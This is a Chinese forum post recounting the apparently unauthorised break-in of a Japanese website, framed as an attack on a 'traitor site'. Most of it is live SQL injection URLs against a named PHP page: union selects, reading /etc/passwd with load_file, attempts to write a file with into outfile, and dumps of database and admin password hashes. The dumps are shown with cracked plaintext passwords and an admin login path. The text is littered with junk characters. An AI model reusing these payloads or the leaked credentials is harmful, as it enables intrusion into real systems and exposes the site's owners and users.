原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

0x01. 检测 www.zuaa.jp 收集数据

! _& e* K8 U& t5 m6 m
whatweb

( X: ^, A& ]0 ?7 \
利用NMAP扫描

* i3 J/ S8 o; b; X- D% n4 k9 O中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0x02.找注入点
找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390
& r* D7 K9 w  o( o3 e! m2 n: [

0x03.order by
             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1

order by 28报错，order by 27正常

0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
添加到 27 时正常显示
' c( K! s' _1 j. \( f: N% Q5 g# h
" S" P) m, W2 l中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
5 t' m  o7 ?8 ?: n
. i# e5 i8 A) O; x( V( i3 `8 H0x05. info:
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
) W' N) l4 z6 g% }3 n% u* e
. v0 v* l0 Q8 P6 |. Quser:            root@localhost
database:    openpne
version:      4.1.22
os:             portbld-freebsd5.4

) Q8 Z4 O. Z5 U7 ^) g0x06. root用户
利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
/ x5 k5 V; I' [/ B2 G. bhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
: K% c% F2 i1 n/ e* N5 x
0 |% V3 @: P8 X- x: S通过工具转换

+ b: z! A* I7 i9 p8 T中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
3 h: J* M; |3 `0 d. o9 e1 Q! X5 B
* H  a: Z5 I7 \5 A" S: K$ A0x07. 利用 into outfile
全部都失败
8 t2 t/ o# Z$ r$ nhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php

9 T& `% Z$ q4 w' O- a; Lhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

' G# W7 O+ \) ^2 l页面显示“MDB2 Error:syntax error”
( w: S4 `3 x, Q5 L, m& W
1 O. T- ?8 p6 g; Z! e3 S! H- G0x08. 利用 mysql 4.1
猜常规表名，字段未果 工具 sqlmap
3 r! _/ }5 R; m中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
; v( n8 p; H: V, }6 [. d


0x09. 查找后台
: \7 b- ~$ p- B, n$ v4 o利用 现有的各种 后台工具尝试都不行
3 {. k6 U# Q1 z
: U2 G# S' s8 Q0x10.  MySL外联方法
$ q7 ^0 `1 Y" t- l$ M) v+ }从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
8 `/ _5 w' J: y# ihttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
: Q4 E! P4 F: C! ]) q! [) V+ {
这个可以在 www.cmd5.com 解密
root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
chen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
openpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
% B' C8 N6 n, ]& V' K: [zuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
" [* h3 P" [0 [: Z; y4 L- E工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
" F+ Y/ B$ m; {1 B: I, H* M

$ P6 a( H) R! e$ i3 P" p% E0x11. 网站突破
发现网站的源程序 openpne, google 下载 openpne 源码


% l8 e/ M+ k5 y4 R3 F. r0x12. 默认信息利用
# w8 p/ D. R- _8 P5 V6 B! ]0 xhttp://sns.zuaa.jp/?m=admin&a=page_login
7 I/ l+ V* Q3 L9 E' k/ E5 v, y1 _
& P' l# d0 \8 A$ V1 t/ `6 c表名 (c_admin_user) ，字段名（username,password）
  s/ P/ v# ^' ]9 I' Jhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user
- P1 j* j$ q8 A( U) V% j
解密
2 j4 C( A. o8 }. P+ a: Mzuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
+ s; [# Q* J7 i5 J6 xzuaajp:c0923ec5857796a393da99905008c176,          zju1897

9 J  t7 j/ F+ \8 v. X( U中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x13. 登录后台
% K% u' a7 ?/ P  k( h9 [* s6 q
5 n6 M: x) \  S" N4 Z4 X* A

% t" P" J) m" f. w6 u, |0x14. 小结
0 i3 ]) O2 q& w$ J. l利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
  U' V. p; u+ @: ~, F------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

$ [1 G* Q# _: A, x5 @* N5 k3 h+ }最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的